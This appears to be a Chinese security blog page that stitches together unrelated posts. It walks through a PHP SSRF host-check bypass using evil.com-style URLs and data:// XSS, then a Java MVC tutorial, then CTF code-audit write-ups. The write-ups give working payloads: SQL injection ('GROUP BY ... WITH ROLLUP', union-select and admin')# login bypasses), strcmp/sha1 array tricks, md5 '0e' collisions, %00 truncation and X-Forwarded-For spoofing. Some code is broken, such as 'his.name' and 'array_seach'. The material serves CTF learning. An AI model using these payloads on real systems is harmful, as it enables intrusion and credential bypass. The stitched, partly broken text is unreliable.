0%

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "Argument: ".$argv[1]."n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/google.com$/', $r['host'])) {
// get page from URL
exec('curl -v -s "'.$r['host'].'"', $a);
print_r($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>

代码从输入的第一个参数获取url,然后使用filter_var()来验证url的格式。如果通过检验,parse_url会解析,再使用正则表达式来检查主机名是否以google.com结尾。
如果全都通过,最后会通过curl发起一个http请求来获取网页的内容,再打印出内容

按照代码的预期来说,只能接受google.com的请求,不接受其他目标

1
http://google.com
1
http://evil.com

对于普通人来说这确实已经足够安全了,但是我们要继续尝试bypass
在上面的代码正则表达用于检验请求主机名是否以google.com结尾。但你熟悉URI语法,你应该明白分号和逗号可能是你利用远程主机上的ssrf的方法

许多URL方案中都有保留字符,保留字符都有特定含义。它们在URL的方案特定部分中的外观具有指定的语义。如果在一个方案中保留了与八位组相对应的字符,则该八位组必须被编码。除了字符“;”, “/”, “?”, “:”, “@”, “=” 和 “&” 被定义为保留字符,其余一律为不保留字符。

除了分层路径中的dot-segments之外,一般语法认为路径段不透明。 生成应用程序的URI通常使用段中允许的保留字符来分隔scheme-specific或者dereference-handler-specific子组件。 例如分号(“;”) 和等于(“=”) 保留字符通常用于分隔适用于该段的参数和参数值。 逗号(“,”) 保留字符通常用于类似目的。

例如,一个URI生产者可能使用一个段name;v=1.1来表示对“name”版本1.1的引用,而另一个可能使用诸如“name,1.1”的段来表示相同含义。参数类型可以由scheme-specific 语义来定义,但在大多数情况下,一个参数的语法是特定的URI引用算法的实现。

若应用于主机evil.com;google.com可能会被curl 或者wget 解析成hostname: evil.com 和 querystring: google.com,不如来试一下

1
http://evil.com;google.com

函数filter_var()可以解析许多类型的 URL schema,从上面可以看出filter_var()拒绝以主机名和“HTTP”作为schema验证请求的URL,但如果把 schema从http:// 改成别的会怎样呢?

1
0://evil.com;google.com

成功bypass,但是curl请求失败了,尝试下其他语法不让google.com被解析成主机的一部分。比如说增加端口

1
0://evil.com:80;google.com:80/

成功访问网站,使用逗号尝试下

1
0://evil.com:80,google.com:80/

对于parse_url来说,parse_url()是用于解析一个 URL 并返回一个包含在 URL 中出现的各种组成部分关联数组的PHP函数。这个函数并不是要验证给定的URL,它只是将它分解成上面列出的部分。 部分网址也可以作为parse_url()的输入并被尽可能的正确解析,最后的执行命令成功与否要看bash

1
0://evil$google.com
1
bash将$google分析为一个空变量,并且使用curl请求了evil <empty> .com,实际就是evil.com.但是这样只能发生在curl语法里,在parse_url解析的主机名仍然是evil$google.com。 $ google变量并没有被解释。 只有当使用了exec()函数而且脚本又使用$r[‘host’]来创建一个curl HTTP请求时,Bash才会将其转换为一个空变量。

这里也可以尝试xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "Argument: ".$argv[1]."n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/google.com$/', $r['host'])) {
// get page from URL
$a = file_get_contents($argv[1]);
echo($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>

这里把exec换成了file_get_contents调用curl,这里尝试在url里加入一些文本来修改响应主体

1
data://text/plain;base64,SSBsb3ZlIFBIUAo=google.com //I Love PHP

parse_url()不允许将文本设置为请求主机,并且返回了“not allowed host”正确拒绝解析。我们可以尝试将某些东西注入URI的MIME类型部分

1
data://google.com/plain;base64,SSBsb3ZlIFBIUAo=

成功解析了,接下来尝试xss

1
data://text.google.com/plain;base64,<...b64...>

MVC 模式代表 Model-View-Controller(模型-视图-控制器) 模式。这种模式用于应用程序的分层开发。

  • Model(模型) - 模型代表一个存取数据的对象或 JAVA POJO。它也可以带有逻辑,在数据变化时更新控制器。
  • View(视图) - 视图代表模型包含的数据的可视化。
  • Controller(控制器) - 控制器作用于模型和视图上。它控制数据流向模型对象,并在数据变化时更新视图。它使视图与模型分离开。
    用人话来讲,我们把处理业务逻辑的部分也就是类或者对象作为模块,展示业务数据部分作为视图,模块与视图之间的数据传递者为控制者,他将模块和视图分离开来。

这里我们以学生信息来构建一个demo,我们将创建一个作为模型的 Student 对象。StudentView 是一个把学生详细信息输出到控制台的视图类,StudentController 是负责存储数据到 Student 对象中的控制器类,并相应地更新视图 StudentView

MVCPatternDemo,我们的演示类使用 StudentController 来演示 MVC 模式的用法。

创建模型。

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class student{
private String rollNo;
private String name;
public String getRollNo(){
return rollNo;
}
public void setRollNo(String rollNo){
this.rollNo = rollNo;
}
public String getName(){
return name;
}
public void setName(String name){
his.name = name;
}
}

创建视图。
StudentView.java

1
2
3
4
5
6
7
public class StudentView {
   public void printStudentDetails(String studentName, String studentRollNo){
      System.out.println("Student: ");
      System.out.println("Name: " + studentName);
      System.out.println("Roll No: " + studentRollNo);
   }
}

创建控制器。
StudentController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class StudentController {
   private Student model;
   private StudentView view;

   public StudentController(Student model, StudentView view){
      this.model = model;
      this.view = view;
   }

   public void setStudentName(String name){
      model.setName(name);
   }

   public String getStudentName(){
      return model.getName();
   }

   public void setStudentRollNo(String rollNo){
      model.setRollNo(rollNo);
   }

   public String getStudentRollNo(){
      return model.getRollNo();
   }

   public void updateView(){
      view.printStudentDetails(model.getName(), model.getRollNo());
   }
}

使用 StudentController 方法来演示 MVC 设计模式的用法。
MVCPatternDemo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class MVCPatternDemo {
   public static void main(String[] args) {

      //从数据可获取学生记录
      Student model  = retriveStudentFromDatabase();

      //创建一个视图:把学生详细信息输出到控制台
      StudentView view = new StudentView();

      StudentController controller = new StudentController(model, view);

      controller.updateView();

      //更新模型数据
      controller.setStudentName("John");

      controller.updateView();
   }

   private static Student retriveStudentFromDatabase(){
      Student student = new Student();
      student.setName("Robert");
      student.setRollNo("10");
      return student;
   }
}

验证输出。

1
2
3
4
5
6
Student: 
Name: Robert
Roll No: 10
Student: 
Name: John
Roll No: 10

json绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>

输入一个json类型的字符串,json_decode函数会json解码成一个数组,判断数组中key的值是否等于$key的值,但是这里我们并不知道$key的值,可以利用”admin”==0这种形式绕过
最终payload:

message={“key”:0}

array_search绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>

先判断是不是数组,然后遍历每一个值,查询每个值是否等于admin,再把每个值转换为int类型,最后判断传入的数组是否有admin,有就返回flag
payload:

test[]=0可以绕过

官方手册:

1
mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )

$needle,$haystack必需,$strict可选 函数判断$haystack中的值是存在$needle,存在则返回该值的键值 第三个参数默认为false,如果设置为true则会进行严格过滤

1
2
3
4
5
<?php
$a=array(0,1);
var_dump(array_search("admin",$a)); // int(0) => 返回键值0
var_dump(array_seach("1admin",$a)); // int(1) ==>返回键值1
?>

array_search函数 类似于== 也就是$a==”admin” 当然是$a=0 当然如果第三个参数为true则就不能绕过

strcmp漏洞绕过 php -v <5.3

1
2
3
4
5
6
7
8
9
10
11
<?php
$password="***************"
if(isset($_POST['password'])){

if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";n
exit();
} else {
echo "Wrong password..";
}
?>

strcmp是比较两个字符串,如果str1<str2 则返回<0 如果str1大于str2返回>0 如果两者相等 返回0
我们是不知道$password的值的,题目要求strcmp判断的接受的值和$password必需相等,strcmp传入的期望类型是字符串类型,如果传入的是个数组会怎么样呢

我们传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等

payload: password[]=xxx

switch绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$a="4admin";
switch ($a) {
case 1:
echo "fail1";
break;
case 2:
echo "fail2";
break;
case 3:
echo "fail3";
break;
case 4:
echo "sucess"; //结果输出success;
break;
default:
echo "failall";
break;
}
?>

0x1.01 extract变量覆盖.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

$flag='xxx'; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    { 
        echo'ctf{xxx}'; 
    }
   else
   { 
    echo'Oh.no';
   } 
   }

?>

主要考点是extract和file_get_contents这两个函数
一个简单的变量覆盖的例子:

1
2
3
4
5
6
<?php
$a = 1; //原变量值为1
$b = array('a' => '3');
extract($b); //经过extract()函数对$b处理后
echo $a; //输出结果为3
?>

然后file_get_contents这个函数,是把文件里的信息打印出来,但是这里是取变量的值,所以并不会打印任何信息为空,即$flag的值不会影响结果只有$shiyan才会影响,所以可以构造payload
payload:?shiyan=&flag=1(此处1只是随意填写)

因为$flag传进去任何值都会变为空,所以只要传$shiyan为空,保证if判断为真就行

02 绕过过滤的空白字符.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
 
$info = ""; 
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
 
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
 
if(!isset($_GET['number'])){
   header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
 
   die("have a fun!!"); //die — 等同于 exit()
 
}
 
foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
    foreach($global_var as $key => $value) { 
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    } 

 
 
function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 

 
 
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 
{
 
   $info="sorry, you cann't input a number!";
 
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
 
     $info = "number must be equal to it's integer!! ";  
 
}
else
{
 
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  
 
     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }
     else
     {
 
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }
 
}
 
echo $info;

说实话这道题有点绕,理清思路后反而考的是fuzz能力(我连fuzz脚本都没咋看懂)
这里主要涉及is_numeric,空白字符绕过intval和回文检测

主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 


if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 

   $info="sorry, you cann't input a number!"; 
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
     $info = "number must be equal to it's integer!! ";  
}
else
{
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  
 
     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }
     else
     {
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }
}
echo $info;

首先定义了个检测回文的函数,随后检测变量是否为数字或者数字字符串,再接着检测变量和其的字符变量值是否相同,然后要求intval($req[‘number’]) == intval(strrev($req[‘number’])),其实就是另一种检测回文
最后用回文函数进行检测。

流程大致就是上面所说,做个总结

1
2
3
4
1.条件is_numeric($_REQUEST['number'])为假,这个绕过的方法很多使用%00开头就行,也可以再POST一个number参数把GET中的覆盖掉也可以,所以这一步很简单。
2.要求 $req['number']==strval(intval($req['number']))
3.要求intval($req['number']) == intval(strrev($req['number']))
4.is_palindrome_number()返回False,这个条件只要在一个回文数比如191前面加一个字符即可实现得到flag

现在来看条件4需要我们添加字符但也要满足2.3条件,所以可以简化代码来进行fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
$a = trim($_GET['number']);
var_dump(($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a))
?>

(其实我感觉最后一部分还不如不简化,全部冗杂在一起,反而很烦)
Fuzz代码如下:

1
2
3
4
5
import requests
for i in range(256):
rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))
if '1' in rq.text:
print "%%%02X"%i

结果为:%0c,%2B
这个脚本在格式化变量那里我不是很懂,回过头来,对于is_numeric这个函数,在开始判断时,会跳过所有空白字符,这是一个特性,也就是说is_numeric(“\r\n\t 1.22223333”)能够返回真,同理

intval也行。所以可以引入+(也就是%2B)在数字前面,来绕过最后的回文函数,因为11和+11是一样的值。

payload:?number=%00%2B191

03 多重加密.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    //把一个或多个数组合并为一个数组
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            //函数执行一条 MySQL 查询。
            return @mysql_fetch_array($sql);
            //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
        }
    }

    if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值

        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?> 

emm这道题类里面定义的东西,跟获取flag毫无关系,我还以为要牵涉反序列化。
主要部分是这里

1
2
3
if($login['user'] === 'ichunqiu')
        {
            echo $flag;

和这里

1
2
3
4
5
6
if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值

很明显目的就是让user的值等于ichunqiu,然后传一个token进去,经过base64解码和字符解压等于ichunqiu就行,写一个小脚本

1
2
3
4
5
6
<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// 得到eJxLtDK0qs60MrBOAuJaAB5uBBQ=
?>

拿到token改下session发包就行了

04 SQL注入_WITH ROLLUP绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){

//检测变量是否是数组

        $StrValue=implode($StrValue);

//返回由数组元素组合成的字符串

    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   

//匹配成功一次后就会停止匹配

        print "水可载舟,亦可赛艇!";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 

//遍历数组

    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);

//设置活动的 MySQL 数据库

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 

//执行一条 MySQL 查询

if (mysql_num_rows($query) == 1) { 

//返回结果集中行的数目

    $key = mysql_fetch_array($query);

//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false

    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);
?>

主要的代码还是这一块

1
2
3
4
5
6
7
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 

//遍历数组

    AttackFilter($key,$value,$filter);
}

过滤了很多sql注入常见的关键词,这里看了WP才知道一个新姿势,可以借助select过程中用group by with rollup进行插入查询:
但是这个语句网上的解释过于阴间,还是直接在MySQL里做实验吧

图片

图片

图片

最后一个图,id的值为空,但是name和psd不为空,这个并不是我们设置的,而是通过语句查询出来的,所以这里我们对psw进行查询

图片

查询出来密码为空,所以在构造表单是,在用户名这里填上payload就能登陆

1
用户名 'GROUP BY psw WITH ROLLUP LIMIT 1 OFFSET 2--+

(怎么现在题都喜欢翻文档做呢,虽然是老题)

05 ereg正则%00截断.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 

$flag = "flag";

if (isset ($_GET['password'])) 
{
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
  {
    echo '<p>You password must be alphanumeric</p>';
  }
  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
   {
     if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
      {
      die('Flag: ' . $flag);
      }
      else
      {
        echo('<p>*-* have not been found</p>'); 
       }
      }
     else 
     {
        echo '<p>Invalid password</p>'; 
      }
   } 
?>

终于遇到我做过的题了。

1
首先主要是两个条件,第一password里必须为数字字母,第二个条件为strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)

最后一个条件是密码里要含有*-*这个字符串

1
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

对于这个函数是可以绕过的,一是用%00截断,二是可以用数组绕过。
0x1

payload:?password=1e7%00*-*

0x2

payload:?password[]=1e7&password[]=-

06 strcmp比较字符串.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag = "flag";
if (isset($_GET['a'])) {  
    if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 

    //比较两个字符串(区分大小写) 
        die('Flag: '.$flag);  
    else  
        print 'No';  
}

?>

这里如果单纯只是想获得flag的话,直接传a=flag就行,但是我们是要找漏洞,针对strcmp这个函数他所期望的数值类型是数值,那如果我们传进去的是非字符比如数组呢?会报错,但是在php5.3之前,显示了报错的信息后,将会把这个函数的运算结果return 0,也就是虽然报错,但是还是将其判断为0,这是一个很大的漏洞。php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL,而判断使用的是==NULL==0是 bool(true)

07 sha()函数比较绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password'])) 
{
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
?>

这里是一个比较经典但是简单的漏洞,首先要满足传入的name和password不一样,但是这俩变量经过sha1函数运算后的值是强相等的。(注意前者是==,后者是===).对于sha1函数,他所期望的变量类型是字符型,类似的比如bool,sha1,md5函数也是同样的类型。如果给他传入数组就会出现错误,使sha1返回错误,也就是返回false,这样===左右的sha1函数运算后的值就相等了。
payload:?name[]=1&password[]=2

08 SESSION验证绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$flag = "flag";

session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

最开始以为要去获取session值,但是这里并没有session的相关赋值,后面也有串莫名其妙的随机时间运算,后来找了原题才知道,这里精简过的。
原题代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<html>
<head>
<title>level4</title>
    <link rel='stylesheet' href='style.css' type='text/css'>
</head>
<body>
 
<?php
session_start(); 
 
require 'flag.php';
 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p class="alert">Wrong guess.</p>';
}
 
// Unpredictable seed
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
 
<section class="login">
        <div class="title">
                <a href="./index.txt">Level 4</a>
        </div>
<ul class="list">
<?php
for ($i=0; $i<3; $i++)
print '<li>' . mt_rand (0, 0xffffff) . '</li>';
$_SESSION['password'] = mt_rand (0, 0xffffff);
?>
</ul>
        <form method="get">
                <input type="text" required name="password" placeholder="Next number" /><br/>
                <input type="submit"/>
        </form>
</section>
</body>
</html>

如果说按照原题代码进行分析,要分析出rand函数的规律进行破解,那就不是考代码审计了。后面抓包发现,session存放在cookie里面,手动清楚cookie,然后提交password为空,也能绕过,这里确实没想到。
图片

09 密码md5比较绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
//配置数据库
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********, "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));


//赋值

$user = $_POST[user];
$pass = md5($_POST[pass]);

//sql语句

// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # 

// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。



    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");

  }
}
?>

emmmmmmm我感觉这道题的代码也精简过,直接看代码也能有头绪但是有点懵。直接看payload吧

1
?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

中间的MD5其实就是123456,结合这一段代码,就能很清楚了

1
2
3
4
5
6
7
$pass = md5($_POST[pass]);

  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #

// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

10 urldecode二次编码绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

先是用eregi进行一个匹配,然后把id值进行url解码,如果经过二次url解码后等于hackerDJ,就可以获得flag(注意这里浏览器本身就会进行一次url解码,所以是二次url解码)
payload:?id=%2568ackerDJ

11 sql闭合绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("*******", "****", "****");
    mysql_select_db("****") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));

$user = $_POST[user];
$pass = md5($_POST[pass]);

//select user from php where (user='admin')#

//exp:admin')#

$sql = "select user from php where (user='$user') and (pw='$pass')";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  if($row['user']=="admin") {
    echo "<p>Logged in! Key: *********** </p>";
  }

  if($row['user'] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}

?>

最终目的就是让user值为admin,最主要的代码是这里

1
$sql = "select user from php where (user='$user') and (pw='$pass')";

这里用sql查询用户名和密码,但是我们不知道admin的密码是啥,所以前面进行闭合,后面进行注释

1
select user from php where (user='admin')#

所以payload为:admin’)#

12 X-Forwarded-For绕过指定IP地址.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
else
    $cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

前面一大串其实没啥吊用,归根结底就是让ip地址=1.1.1.1,用火狐的一个xff插件或者burp抓包添加HTTP头X-Forwarded-For:1.1.1.1就行

13 md5加密相等绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}

?>

图片

QNKCDZO经过md5后是0e开头的也就是可以认为是0(科学计数法),因为==进行对比时会进行数据转换,那就很简单了。就是要传一个不等于QNKCDZO,但是经过md5后也是等于0e开头的数。找点资料就能传

1
payload:?a=s878926199a

资料:https://blog.csdn.net/weixin_43803070/article/details/91308414

14 intval函数四舍五入.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}

?>

把最重要的列出来

1
2
$id = intval($_GET[id]);
if ($_GET[id]==1024) {

主要是intval这个函数,这个函数默认10进制主要是进行向下取整
payload:?id=1024.1

有时候浮点数也存在精度忽略

1
2
if ($req["number"] != intval($req["number"]))
在小数小于某个值(10^-16)以后,再比较的时候就分不清大小了。 输入number = 1.00000000000000010, 右边变成1.0, 而左与右比较会相等

intval函数的最大值取决于操作系统

1
2
32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。
64 位系统上,最大带符号的 integer 值是 9223372036854775807。

